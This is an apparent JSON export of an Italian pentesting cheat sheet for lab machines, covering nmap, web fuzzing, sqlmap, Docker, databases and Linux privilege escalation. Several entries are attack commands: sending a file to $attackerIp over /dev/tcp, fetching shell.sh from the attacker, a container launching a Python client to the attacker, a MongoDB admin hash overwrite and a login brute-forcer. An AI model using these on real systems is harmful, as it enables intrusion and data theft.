[{"id":49,"category":"Database","language":"Standard Snip","title":null,"description":"Per selezionare un valore nella tabella in postgres","code":"SELECT value FROM table_name;","order_in_cat":0,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":48,"category":"Database","language":"Standard Snip","title":null,"description":"Comandi postgres:\\n\\l: lista database\\n\\c db_name: seleziona database\\n\\dt: lista delle tabelle\\n\\d tab_name: descrizione tabella\\n\\du: lista degli utenti","code":"\\l\\n\\c db_name\\n\\dt\\n\\d tab_name \\n\\du","order_in_cat":1,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":47,"category":"Database","language":"Standard Snip","title":null,"description":"Connessione a database postgressql\\n-p la porta di default è 5432\\n-U utente","code":"psql -h $targetIp -p$attackerPort -U user","order_in_cat":2,"is_main":1,"pen_element_related_id":37,"related_snip_ids":[48,49]},{"id":38,"category":"Database","language":"Standard Snip","title":null,"description":"Connessione ad un host remoto","code":"mongo --port 27017 --host $targetIp","order_in_cat":3,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":36,"category":"Database","language":"Standard Snip","title":null,"description":"Posso aggiornare una hash nel database nella entry con un dato id per cambiare la password di accesso.\\nL'hash dello stesso tipo creata con la mia password","code":"db.admin.update({\"_id\":ObjectId(\"61ce278f46e0fb0012d47ee4\")},{$set:{\"x_shadow\":\"$6$8Ngex2mLR2vJwheE$9PTUspwVq1Wh.sEg2oSzW5EcX7fKlDFzs1/2a1mLzYsYcVuyqajhucAo50s93GHHETRmQoe6MwYteWDtey2kQ1\"}})","order_in_cat":4,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":35,"category":"Database","language":"Standard Snip","title":null,"description":"Inserisce una entry nel db","code":"db.apples.insertOne({type: \"Granny Smith\", price: 0.65})","order_in_cat":5,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":31,"category":"Database","language":"Standard Snip","title":null,"description":"Connessione a mongodb locale","code":"mongo --port 27017","order_in_cat":6,"is_main":1,"pen_element_related_id":154,"related_snip_ids":[32,33,34,35,36,38]},{"id":25,"category":"Database","language":"Standard Snip","title":null,"description":"Per connettersi a db mysql su un host remoto\\n-p sta per password","code":"mysql -u root -h $targetIp -P $targetPort -p","order_in_cat":7,"is_main":1,"pen_element_related_id":96,"related_snip_ids":[]},{"id":34,"category":"Database","language":"Standard Snip","title":null,"description":"Mostra la lista degli utenti\\npretty() lo rende più facile da leggere","code":"db.admin.find().pretty()","order_in_cat":8,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":33,"category":"Database","language":"Standard Snip","title":null,"description":"Mostra i databases\\nSeleziona i database\\nMostra le collections","code":"show databases\\nuse dbname\\nshow collections","order_in_cat":9,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":32,"category":"Database","language":"Standard Snip","title":null,"description":"Mongosh è un tool per connessione a mongob","code":"mongosh mongodb://127.0.0.1:27017","order_in_cat":10,"is_main":0,"pen_element_related_id":154,"related_snip_ids":[]},{"id":137,"category":"Docker","language":"Standard Snip","title":null,"description":"Entrare nel container con una finestra bash\n-i interactive\n-t finestra tty","code":"sudo docker exec -it CONTAINER /bin/bash\n","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":139,"category":"Docker","language":"Script Bash","title":null,"description":"File configurazione\nScript per creare un semplice docker che avvia un comando python","code":"FROM debian\n\nRUN apt update & apt install -y python3\n\nCOPY pync.py /app/pync.py\n\nCMD [\"python3\", \"/app/pync.py\", \"$attackerIp\", \"$attackerPort\"]","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":140,"category":"Docker","language":"Standard Snip","title":null,"description":"Rimuovere un’immagine docker","code":"sudo docker rmi <IMAGE ID>","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":141,"category":"Docker","language":"Standard Snip","title":null,"description":"Creare un container\n--rm rimuove il container alla chiusura\n-p apre le porte se deve connettersi a una porta di linux che lo crea \nmi posso collegare direttamente all’ip del container -> ipContainer:5555\nma con -p posso collegarmi tramite localhost di kali -> localhost:5555","code":"sudo docker run --rm -p 5555:5555 mia-app\n","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":142,"category":"Docker","language":"Standard Snip","title":null,"description":"Crea il container\n--rm rimuove il container alla chiusura\n--add-host aggiunge l’host al DNS del container per connettersi alla macchina che crea il docker, kali, indicato come host-gateway senza dover sapere l’ip esatto —> ora nel docker host.docker.internal punta alla macchina kali\n","code":"docker run --rm --add-host=host.docker.internal:host-gateway mia-app","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":143,"category":"Docker","language":"Standard Snip","title":null,"description":"Fermare il container","code":"sudo docker stop <CONTAINER_ID>\n","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":144,"category":"Docker","language":"Standard Snip","title":null,"description":"Scaricare un’immagine","code":"sudo docker pull debian","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":146,"category":"Docker","language":"Standard Snip","title":null,"description":"Creazione del container client con quella specifica rete","code":"sudo docker run --rm -it \\\n    --network NOME_RETE \\\n    --name client \\\n    debian bash","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":147,"category":"Docker","language":"Standard Snip","title":null,"description":"Ispezionare la rete","code":"sudo docker network inspect NOME_RETE","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":148,"category":"Docker","language":"Standard Snip","title":null,"description":"Vedere e seguire i log per un dato container\n-f follow mantiene attivo e non chiude il log","code":"sudo docker logs -f NOME_CONTAINER","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":150,"category":"Docker","language":"Script Bash","title":null,"description":"File yaml\nFile base yaml per docker compose\nServe a creare più cose in un unico comando","code":"compose.yaml\nservices:\n\n  cloud:\n    image: cloud\n    ports:\n      - \"8443:8443\"\n\n  broker:\n    image: eclipse-mosquitto\n    ports:\n      - \"8883:8883\"\n\n  device:\n    image: device\n","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":152,"category":"Docker","language":"Standard Snip","title":null,"description":"Vedere la configurazione\n--services specifica i servizi","code":"sudo docker compose config --services","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":153,"category":"Docker","language":"Standard Snip","title":null,"description":"Chiude tutto quello avviato con docker compose","code":"sudo docker compose down\n","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":154,"category":"Docker","language":"Standard Snip","title":null,"description":"Crea un nuovo container senza file di configurazione\n--network la collega a una rete precedentemente creata\n--name nome del container\npython:3 -> è l’immagine utilizzata basata su debian con quello che serve per far girare python3\npython3 -m http.server 8000 comando eseguito all’avvio","code":"sudo docker run --rm \\\n  --network rete_docker \\\n  --name web \\\n  python:3 \\\n  python3 -m http.server 8000","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":155,"category":"Docker","language":"Standard Snip","title":null,"description":"Crea una rete per collegare i container","code":"sudo docker network create NOME_RETE","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":156,"category":"Docker","language":"Standard Snip","title":null,"description":"Rimuove la rete","code":"sudo docker network rm NOME_RETE","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":157,"category":"Docker","language":"Standard Snip","title":null,"description":"Crea un container con la rete data e una regola nat per iptables per ridirezionare la porta localhost di kali\n-p 8888:8000 -> da localhost:8888 -> ipContainer:8000\nMi posso collegare al container anche direttamente con ipContainer:8000 ma così mi collego a localhost:8888","code":"sudo docker run --rm -it \\\n    --network NOME_RETE \\\n    --name client \\\n    -p 8888:8000 \\\n    debian bash","order_in_cat":0,"is_main":0,"pen_element_related_id":338,"related_snip_ids":[]},{"id":135,"category":"Docker","language":"Standard Snip","title":null,"description":"Visualizza le immagini disponibili","code":"sudo docker image ls\n","order_in_cat":100,"is_main":1,"pen_element_related_id":338,"related_snip_ids":[139,140,141,142,144,154]},{"id":136,"category":"Docker","language":"Standard Snip","title":null,"description":"Lista dei Container attivi","code":"sudo docker ps -a\n","order_in_cat":200,"is_main":1,"pen_element_related_id":338,"related_snip_ids":[137,143,148]},{"id":145,"category":"Docker","language":"Standard Snip","title":null,"description":"Lista delle network create per il docker","code":"sudo docker network ls","order_in_cat":300,"is_main":1,"pen_element_related_id":338,"related_snip_ids":[146,147,155,156,157]},{"id":149,"category":"Docker","language":"Standard Snip","title":null,"description":"Lista dei volumi docker","code":"sudo docker volume ls","order_in_cat":400,"is_main":1,"pen_element_related_id":338,"related_snip_ids":[]},{"id":151,"category":"Docker","language":"Standard Snip","title":null,"description":"Avvia docker compose\n-d detach per avviarlo in background","code":"sudo docker compose up -d","order_in_cat":500,"is_main":1,"pen_element_related_id":338,"related_snip_ids":[150,152,153]},{"id":98,"category":"Enumerazione Iniziale","language":"Standard Snip","title":null,"description":"Da usare dopo il comando che cerca le porte aperte","code":"sudo nmap -sC -sV -p$targetPort $targetIp","order_in_cat":100,"is_main":0,"pen_element_related_id":115,"related_snip_ids":[]},{"id":99,"category":"Enumerazione Iniziale","language":"Standard Snip","title":null,"description":"Salva le porte aperte per poter usare dopo","code":"ports=$(sudo nmap -p- --min-rate=1000 -T4 $targetIp | grep '^[0-9]' | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//)","order_in_cat":100,"is_main":1,"pen_element_related_id":115,"related_snip_ids":[]},{"id":1,"category":"Enumerazione Iniziale","language":"Standard Snip","title":null,"description":"Scan su porte specifiche con script e versione","code":"sudo nmap -sC -sV -p$targetPort $targetIp","order_in_cat":200,"is_main":0,"pen_element_related_id":115,"related_snip_ids":[]},{"id":24,"category":"Enumerazione Iniziale","language":"Standard Snip","title":null,"description":"-F fa la scansione delle più comuni 100 porte anzichè 1000","code":"sudo nmap $targetIp -F","order_in_cat":200,"is_main":1,"pen_element_related_id":115,"related_snip_ids":[1,98,107]},{"id":107,"category":"Enumerazione Iniziale","language":"Standard Snip","title":null,"description":"Scan su tutte le porte\\nSe non metto -p- scansiona solo le 1000 più comuni","code":"sudo nmap -p- $targetIp","order_in_cat":300,"is_main":0,"pen_element_related_id":115,"related_snip_ids":[]},{"id":60,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Ricerca directory con gobuster","code":"gobuster dir --url http://$targetIp/ --wordlist /usr/share/wordlists/dirb/big.txt","order_in_cat":0,"is_main":0,"pen_element_related_id":130,"related_snip_ids":[]},{"id":161,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Da informazioni su tutte le versioni di quello che gira su server","code":"whatweb -a 3 http://$targetIp:$targetPort","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":63,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"--level (1-5) estende i bonduaries e i vettori in base all'attesa di successo\\n--risk (1-3) estende il vettore in base al rischio di provocare problemi -> può provocare problemi come perdita di dati o denial-of-services","code":"sqlmap -u \"http://10.10.11.194/vuln.php?id=1\" --batch --dump --level 5 --risk 3","order_in_cat":2,"is_main":0,"pen_element_related_id":121,"related_snip_ids":[]},{"id":10,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"--data-raw mi permette di specificare contenuto post in formato json o xml","code":"sqlmap -u \"http://$targetIp/case4.php\" --data-raw '{\"id\":1*}' --batch --dump\\n","order_in_cat":5,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":9,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"-H per testare l’iniettabilità degli header, tipo i cookie","code":"sqlmap -u \"http://$targetIp/case3.php\" -H 'Cookie: id=1*' --batch --dump","order_in_cat":6,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":8,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"--data per le richieste post","code":"sqlmap -u \"http://$targetIp/case2.php\" --data 'id=1' -p id --batch --dump","order_in_cat":7,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":6,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Fuzzing parametro POST: stesse opzioni di Curl\\n-X POST\\n-H 'Content-Type:  application/x-www-form-urlencoded' //header\\n-d ‘value=key’ //dati\\n-d ‘FUZZ=key’ //valore -> prima trovo il value e poi cerco la key (es lista da 1 a 1000)","code":"ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://$targetIp:$targetPort/admin/admin.php -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d 'id=FUZZ' -fs xxx","order_in_cat":100,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":159,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Identifica header interessanti, versioni, file standard, configurazioni, tecnologie.\npoi se vedo cose interessanti cerco exploit con \nsearchploit XXXXX","code":"nikto -h http://$targetIp:$targetPort/","order_in_cat":100,"is_main":1,"pen_element_related_id":119,"related_snip_ids":[]},{"id":4,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"SPESSO NON FUNZIONA, MEGLIO GOBUSTER\\nRicerca sottodomini\\n-H specifica il dominio, in questo modo non devo specificarlo su /etc/hosts\\nPer visitare i risultati devo aggiungerli a /etc/host","code":"ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://$targetIp:$targetPort/ -H 'Host: FUZZ.academy.htb'","order_in_cat":200,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":65,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Enumerazione dei linguaggi e delle versioni utilizzate dal server","code":"./Tools/wappalyzer-cli/bin/wappy -u http://$targetIp","order_in_cat":200,"is_main":1,"pen_element_related_id":164,"related_snip_ids":[]},{"id":5,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Fuzzing parametro GET","code":"ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://admin.academy.htb:$targetPort/admin.php?FUZZ=key -fs xxx","order_in_cat":300,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":160,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"File comuni e interessanti da vedere","code":"curl http://$targetIp:$targetPort/robots.txt\ncurl http://$targetIp:$targetPort/sitemap.xml","order_in_cat":300,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":3,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Directory discovery \\nUsare filtri: c(code) s(size) w(word) l(lines) r(regexp)\\n-m (matcher)\\n-f (filter)\\n-fs 686 -> filtra per dimensioni","code":"ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://$targetIp:$targetPort/FUZZ","order_in_cat":400,"is_main":1,"pen_element_related_id":130,"related_snip_ids":[4,5,6]},{"id":28,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"FUNZIONA BENE\\nPer ricerca subdomains\\n--append-domain va aggiunto per dire di appendere il dominio nel formato s3.thetoppers.htb\\n-> se non trova provare quella più grande con 100000 domains\\nbitquark-subdomains-top100000.txt","code":"gobuster vhost -u http://$targetIp -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain","order_in_cat":500,"is_main":1,"pen_element_related_id":130,"related_snip_ids":[60]},{"id":2,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Directory discovery \\n-S silent mode\\nNon sempre le trova -> usare Gobuster con wordlist /dirb/big.txt","code":"dirb http://$targetIp:$targetPort -S -w /usr/share/wordlists/dirb/common.txt","order_in_cat":600,"is_main":1,"pen_element_related_id":130,"related_snip_ids":[]},{"id":7,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"--batch per dare tutte le risposte e non interrompere il processo\\n--threads 10 velocizza il processo\\n--dbs enumera i database\\npoi posso usare --dump per fare il dump del database specificato con --dump -D databaseName\\n--privileges permette di vedere privilegi\\nSe ha privilegio FILE posso usare read file\\n--file-read=\"/etc/passwd\" permette di leggere file di sistema","code":"sqlmap -u \"http://$targetIp/vuln.php?id=1\" --batch --dbs --threads 10","order_in_cat":700,"is_main":1,"pen_element_related_id":121,"related_snip_ids":[8,9,10,63]},{"id":124,"category":"Enumerazione Web","language":"Standard Snip","title":null,"description":"Avvia burp con autobind in modo che si possa collegare alle porte sotto 1024 senza doverlo avviare tutto con sudo","code":"authbind --deep /usr/bin/burpsuite &","order_in_cat":800,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":39,"category":"Enumerazione Web","language":"Script Python 3","title":null,"description":"Curl Iteration\nFile python per iterazione di password dentro un comando curl\nNel comando curl sostituire ^USER^ per l'username ^PASS^ per password e inserire la stringa di condizione -S (successo) oppure -F (fallimento)","code":"import subprocess\nimport sys, getopt\nimport time\n\nclass bcolors:\n    HEADER = '\\033[95m'\n    OKBLUE = '\\033[94m'\n    OKCYAN = '\\033[96m'\n    OKGREEN = '\\033[92m'\n    WARNING = '\\033[93m'\n    FAIL = '\\033[91m'\n    ENDC = '\\033[0m'\n    BOLD = '\\033[1m'\n    UNDERLINE = '\\033[4m'\ndef runCurl(username, password, failure, success, curlCommand):\n    curlCommandMod = curlCommand.replace(\"^USER^\", username)\n    curlCommandMod = curlCommandMod.replace(\"^PASS^\", password)\n    #result = subprocess.check_output(curlCommandMod, shell=True)\n\n    #print(curlCommandMod)\n    #result = os.system(curlCommandMod)\n\n    result = subprocess.run(curlCommandMod, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)\n    #se non metto text=True devo decodificare lo stdout con .decode('ascii')\n    output = result.stdout\n    #print(\"RESULT: %s\" % (output))\n    if len(failure) > 0:\n        if failure not in output:\n\n            string = \"SUCCESS: \" + username + \":\" + password\n            print(f\"{bcolors.OKGREEN}%s{bcolors.OKGREEN}\" %(string))\n            return True\n    elif len(success) > 0:\n        if success in output:\n            string = \"SUCCESS: \" + username + \":\" + password\n            print(f\"{bcolors.OKGREEN}%s{bcolors.OKGREEN}\" % (string))\n            return True\n\n    return False\n\n\ndef main(argv):\n    username = ''\n    wordlist = ''\n    curlCommand = ''\n    failure = \"\"\n    success = \"\"\n    opts, args = getopt.getopt(argv,\"hu:w:F:S:c:\",[\"username=\",\"wlfile=\",\"failure=\",\"success=\",\"curlCommand=\"])\n    for opt, arg in opts:\n        if opt == '-h':\n            print ('python3 CurlIterator.py -u username <-F failureString or -S SuccessString> -w <wordlist> -c curlCommand /nUse ^USER^ for username and ^PASS^ for password')\n            sys.exit()\n        elif opt in (\"-u\", \"--username\"):\n            username = arg\n        elif opt in (\"-w\", \"--wordlist\"):\n            wordlist = arg\n        elif opt in (\"-F\", \"--failure\"):\n            failure = arg\n        elif opt in (\"-S\", \"--success\"):\n            success = arg\n        elif opt in (\"-c\", \"--curlCommand\"):\n            curlCommand = arg\n\n    #load password file\n    arrayLines = []\n    with open(wordlist) as file:\n        for line in file:\n            arrayLines.append(line.rstrip())\n    indexLines = 0\n    count = len(arrayLines)\n    for i in range(count):\n        outputString = \"Password testate per %s: %d - Completetato %.1f %%\" % (username, len(arrayLines),  (float(indexLines)/float(count)*100))\n        if indexLines < len(arrayLines):\n            password = arrayLines[indexLines]\n            founded = runCurl(username, password, failure, success, curlCommand)\n            if founded:\n                break\n        else:\n            print(\"Test completed!\")\n            break\n        indexLines += 1\n        time.sleep(0.1)\n        if i == 9: #last try\n            print(outputString)\nif __name__ == \"__main__\":\n    main(sys.argv[1:])","order_in_cat":900,"is_main":1,"pen_element_related_id":71,"related_snip_ids":[]},{"id":73,"category":"File Transfer","language":"Standard Snip","title":null,"description":"Crea un server http da cui posso scaricare file con wget","code":"sudo python3 -m http.server 8080","order_in_cat":0,"is_main":1,"pen_element_related_id":112,"related_snip_ids":[]},{"id":86,"category":"File Transfer","language":"Standard Snip","title":null,"description":"Scarica una shell dal server che creo con python\\n-O maiuscolo specifica il path del file\\n-o salva l'output ovvero i dati di connessione in un file","code":"wget http://$attackerIp:$attackerPort/shell.sh -O /tmp/shell.sh","order_in_cat":1,"is_main":1,"pen_element_related_id":112,"related_snip_ids":[]},{"id":74,"category":"File Transfer","language":"Standard Snip","title":null,"description":"Invia il file all'ip e porta dove mi metto in ascolto con nc\\nnc -lnvp 2222 > file.db","code":"cat file.db > /dev/tcp/$attackerIp/$attackerPort","order_in_cat":2,"is_main":1,"pen_element_related_id":112,"related_snip_ids":[]},{"id":75,"category":"File Transfer","language":"Standard Snip","title":null,"description":"Metto in ascolto su macchina attaccante con nc per ricevere un file","code":"nc -lnvp 2222 > file.db","order_in_cat":3,"is_main":1,"pen_element_related_id":112,"related_snip_ids":[]},{"id":88,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cerca per nome gruppo apparteneti a root\\n-group nomeDelGruppo","code":"find / -user root -group nomeGruppo -type d -perm -o+w 2>/dev/null","order_in_cat":0,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":115,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cron di root","code":"cat /etc/crontab","order_in_cat":0,"is_main":0,"pen_element_related_id":220,"related_snip_ids":[]},{"id":116,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Directory cron come\n/etc/cron.daily\n/etc/cron.hourly\n/etc/cron.weekly\n/etc/cron.monthly","code":"ls -la /etc/cron*","order_in_cat":0,"is_main":0,"pen_element_related_id":220,"related_snip_ids":[]},{"id":119,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Directory scrivibili\n/opt\n/usr/local\n/var/www\n/home\n/tmp","code":"find / -writable -type d 2>/dev/null","order_in_cat":0,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":120,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"File e directory possedute da root e scrivibili","code":"find / -user root -writable 2>/dev/null","order_in_cat":0,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":82,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cerca file writable\\n-perm -o+w","code":"find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null","order_in_cat":1,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":81,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cerca directory writable\\n-perm -o+w","code":"find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null","order_in_cat":2,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":80,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file con permessi SETGID 4000\\n-exec ls -ldb {} \\; permette di eseguire il comando sui risultati","code":"find / -user root -perm -6000 -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":3,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":79,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file con permessi SETUID 4000\\n-exec ls -ldb {} \\; permette di eseguire il comando sui risultati","code":"find / -user root -perm -4000 -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":4,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":78,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file appartenenti a utente root con privilegi del gruppo a cui appartengo\\n-user root\\n-group nomeGruppo\\n","code":"find / -type f -group nomeGruppo -user root -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":5,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":77,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file con permessi GUID","code":"find / -perm -g=s -type f -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":6,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":71,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Mostra la lista dei servizi","code":"dpkg -l","order_in_cat":7,"is_main":0,"pen_element_related_id":217,"related_snip_ids":[]},{"id":70,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Mostra porte aperte internamente ai vari servizi anche non accessibili dall'esterno","code":"netstat -antup","order_in_cat":8,"is_main":0,"pen_element_related_id":217,"related_snip_ids":[]},{"id":69,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Permette di vedere porte aperte in ascolto","code":"netstat -l","order_in_cat":9,"is_main":0,"pen_element_related_id":217,"related_snip_ids":[]},{"id":68,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Permette di vedere processi avviati da root","code":"ps aux | grep root","order_in_cat":10,"is_main":0,"pen_element_related_id":217,"related_snip_ids":[]},{"id":89,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file con permessi di scrittura nei file chron\\n-perm -2 permessi di scrittura\\nProvare anche le directory:\\n/var/spool/cron\\n/etc/crontab\\n/etc/spool/cron/crontabs/root\\n/etc/cron.daily","code":"find /etc/cron.d -perm -2 -type f -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":16,"is_main":0,"pen_element_related_id":213,"related_snip_ids":[]},{"id":113,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Trovo i processi e devo chiedermi\n1. Chi lo esegue? (root?)\n2. È un programma di sistema o personalizzato?\n3. Posso modificare il file che esegue?\n4. Legge file o directory che posso influenzare?\n5. Ha argomenti con credenziali?\n6. Ha capability o è SUID?","code":"ps aux","order_in_cat":100,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":114,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cerco:\n- script custom scrivibili tipo backup con -rwxrwxrwx\n- directory scivibili\n- Wildcard: tar -czf backup.tar.gz * -> Se puoi creare file con nomi particolari puoi sfruttare la wildcard expansion di tar.\n- path: Se il PATH è mal configurato puoi far eseguire il tuo binario.","code":"crontab -l","order_in_cat":200,"is_main":1,"pen_element_related_id":220,"related_snip_ids":[89,115,116]},{"id":163,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Per vedere i servizi di rete che ascoltano localmente (127.0.0.1) e non visibili da nmap fuori.\nSe trovo una porta posso provare a connettermi con \nnc -nv 127.0.0.1 PORT","code":"ss -lntp","order_in_cat":300,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":162,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"File importanti","code":"find /var/www -maxdepth 3 -type f \\( -name '.env' -o -name 'config.php' -o -name 'db.php' -o -name 'composer.json' \\) 2>/dev/null","order_in_cat":400,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":118,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"File scrivibili","code":"find / -writable -type f 2>/dev/null","order_in_cat":500,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[119,120]},{"id":67,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Tool che permette di monitorare processi da una macchina senza privilegi","code":"./pspy64","order_in_cat":600,"is_main":1,"pen_element_related_id":217,"related_snip_ids":[68,69,70,71]},{"id":66,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Permette di vedere kernel per la ricerca di exploit","code":"uname -a","order_in_cat":700,"is_main":1,"pen_element_related_id":213,"related_snip_ids":[]},{"id":64,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Mostra i comandi che possono essere avviati come root dall'utente attuale\\nTra parentesi c'è l'utente che può usarlo, se c'è (deploy)\\nsudo -u deploy comando\\n","code":"sudo -l","order_in_cat":800,"is_main":1,"pen_element_related_id":215,"related_snip_ids":[]},{"id":83,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file di un certo tipo con nomi particolari\\n-name *.conf *.db (db è database sqlite3)\\n-user root\\n-size +20k\\n-perm -g=s permessi (-u -g -o rwxs)\\n-newermt 2020-03-03 #data di modifica\\n-exec ls -la {} \\; esegue il comando specificato per ogni risultato","code":"find / -type f -name *.db -user root -perm -g=s -exec ls -al {} \\; 2>/dev/null","order_in_cat":900,"is_main":1,"pen_element_related_id":213,"related_snip_ids":[]},{"id":76,"category":"Linux Priv Esc","language":"Standard Snip","title":null,"description":"Cercare file con permessi SUID\\n-exec ls -ldb {} \\; esegue il comando specificato per ogni risultato","code":"find / -perm -u=s -type f -exec ls -ldb {} \\; 2>/dev/null","order_in_cat":1000,"is_main":1,"pen_element_related_id":213,"related_snip_ids":[77,78,79,80,81,82,88]},{"id":126,"category":"Networking","language":"Standard Snip","title":null,"description":"Lista delle regole DOCKER della tabella nat","code":"sudo iptables -t nat -L DOCKER -n -v --line-numbers","order_in_cat":0,"is_main":0,"pen_element_related_id":339,"related_snip_ids":[]},{"id":127,"category":"Networking","language":"Standard Snip","title":null,"description":"-I Inserisce la regola nella chain PREROUTING\n-t tabella nat\n-i interfaccia\n-j regola REDIRECT","code":"sudo iptables -t nat -I PREROUTING \\                   \n  -i <INTERFACE> \\\n  -p tcp \\\n  --dport 8443 \\\n  -j REDIRECT \\\n  --to-port 443","order_in_cat":0,"is_main":0,"pen_element_related_id":339,"related_snip_ids":[]},{"id":130,"category":"Networking","language":"Standard Snip","title":null,"description":"Mostra il percorso che fa per arrivare a quell’ip\n172.18.0.3 dev eth0 src 172.18.0.2 \n-> va direttamente da 0.3 a 0.2 con eth0\n8.8.8.8 via 172.18.0.1 dev eth0 src 172.18.0.2\n-> va al gateway 172.18.0.1 tramite eth0\n","code":"ip route get 